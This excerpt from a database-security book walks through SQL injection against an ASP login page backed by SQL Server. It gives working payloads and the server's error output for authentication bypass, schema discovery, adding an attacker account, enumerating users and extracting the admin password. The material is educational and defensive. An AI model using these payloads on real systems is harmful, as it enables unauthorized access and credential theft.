The following excerpt, courtesy of Wiley Publishing, is from Chapter 22 of the book "The Database Hacker's Handbook: Defending Database Servers" written by David Litchfield, Chris Anley, John Heasman and Bill Grindlay. Click for the complete book excerpt series or purchase the book.
By submitting your personal information, you agree that TechTarget and its partners may contact you regarding relevant content, products and special offers.
SQL injection is probably the most common vector used to attack SQL Server. This is because web applications are typically deployed as Internet-facing and, if written in-house, their code will probably not have been subject to the same stringent security auditing as commercial software. SQL Server is also particularly vulnerable to this type of attack because of its verbose error messages. SQL Server's error messages can be viewed in the sysmessages table in the master database.
SQL injection occurs when information submitted by a browser to a web application is inserted into a database query without being properly checked.
An example of this is an HTML form that receives posted data from the user and passes it to an Active Server Pages (ASP) script running on Microsoft's IIS web server. The two data items passed are a username and password, and they are checked by querying a SQL Server database. The schema of the users table in the backend database is as follows:
username varchar(255) password varchar(255)
The query executed is
SELECT * FROM users WHERE username = '[username]' AND password = '[password]';
However, the ASP script builds the query from user data using the following line:
var query = "SELECT * FROM users WHERE username = '" + username +"' AND password = '" + password + "'";
If the username is a single-quote character (') the effective query becomes
SELECT * FROM users WHERE username = ''' AND password = '[password]';
This is invalid SQL syntax and produces a SQL Server error message in the user's browser:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string '' and password=''. /login.asp, line 16
The quotation mark provided by the user has closed the first one, and the second generates an error, because it is unclosed. The attacker can now begin to inject strings into the query in order to customize its behavior; for example, in order to logon as the first user
in the users table you would post a username of
' or 1=1—
This converts to a query of
SELECT * FROM users WHERE username = '' or 1=1 — -' AND password = '[password]';
The double hyphens (--) signify a Transact-SQL comment, so all subsequent text is ignored. Because one will always equal one, this query will return the entire users table, the ASP script will accept the logon because results were returned, and the client will be authenticated as the first user in the table.
If a specific username is known the account can be accessed with the username:
' or username='knownuser' —
Even if a real username is not known, an invented one can be used with the username:
' union select 1, 'myusername', 'mypassword', 1 —
An example of verbose SQL Server error messages can be seen by using a username of
' and 1 in (SELECT @@version) —
which results in the following:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.534 (Intel X86) Nov 19 2001 13:23:50 Copyright (c) 1988-2000 Microsoft Corporation Enter prise Edition on Windows NT 5.0 (Build 2195: Service Pack 3) ' to a col umn of data type int. /login.asp, line 16
By referencing the online SQL Server version database at SQL Security (http://sqlsecurity.com/DesktopDefault.aspx?tabid=37), version 8.00.534 corresponds to SQL Server 2000 service pack 2 without any hotfixes. This version is vulnerable to several overflow attacks in stored procedures and functions such as xp_sprintf, formatmessage(), and raiserror() (http://icat.nist.gov/icat.cfm?cvename=CAN-20020154).
The next step is to retrieve information about the structure of the database and its tables in order to manipulate the data. If, for convenience, an attacker wants to create an account on the system, he would need to know details about the database schema. The SQL clause HAVING is used to filter records returned by GROUP BY. They must be used together so the following username produces an informative error:
' having 1=1--
This gives the table name as "users" and the first column used in the query as "username":
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /login.asp, line 16
The rest of the columns can be determined by feeding the previous column name back into the select statement together with a GROUP BY clause:
' group by users.username having 1=1 —
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.password'
is invalid in the select list because it is not contained in an aggregate function or the GROUP BY clause. /login.asp, line 16
The next attempt is
' group by users.username,users.password having 1=1 —
This doesn't generate an error, because the GROUP BY clause cancels out to make the effective query passed to the database select all users where the username is".
It can now be inferred that the query used by the ASP script operates only on the users table and uses the columns username and password. It would be natural to assume that both columns are of type varchar, but this can be verified by utilizing either the sum or avg functions, which are used to total an expression or calculate the average of all values in a group, respectively. Both functions can be used only with numeric fields or formulas, so passing the username
' union select sum(username) from users —
gives the error
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /login.asp, line 16
This reveals that the username column is of type varchar. To determine the data type of a numeric column (num) you would pass the column name to the sum function as before. This produces
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /login.asp, line 16
Now that the attacker has an idea of the schema used to hold user information, he can formulate a query to add his user:
'; insert into users values('bob', 's3cret') —
The table data itself can be extracted from the database using the same method used to obtain the server version
information — attempted conversion of a character string to a number:
' union select min(username) from users where username > 'a' —
This returns the first username in alphabetical order (the first username that is alphabetically greater than the letter a):
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. /login.asp, line 16
All the users on the system can now be enumerated by substituting the last retrieved username for "a" in the query:
' union select min(username) from users where username > 'admin'-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'bob' to a column of data type int. /login.asp, line 16
This continues until no error is generated, meaning that the query produced no result. The administrator password can be gathered:
' or 1 in (select password from users where username = 'admin') — which returns Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'nE1410s' to a column of data type int. /login.asp, line 16
You can find further information on SQL injection techniques in the technical whitepapers:
Click for the next excerpt in this series: System level attacks
Click for the complete book excerpt series.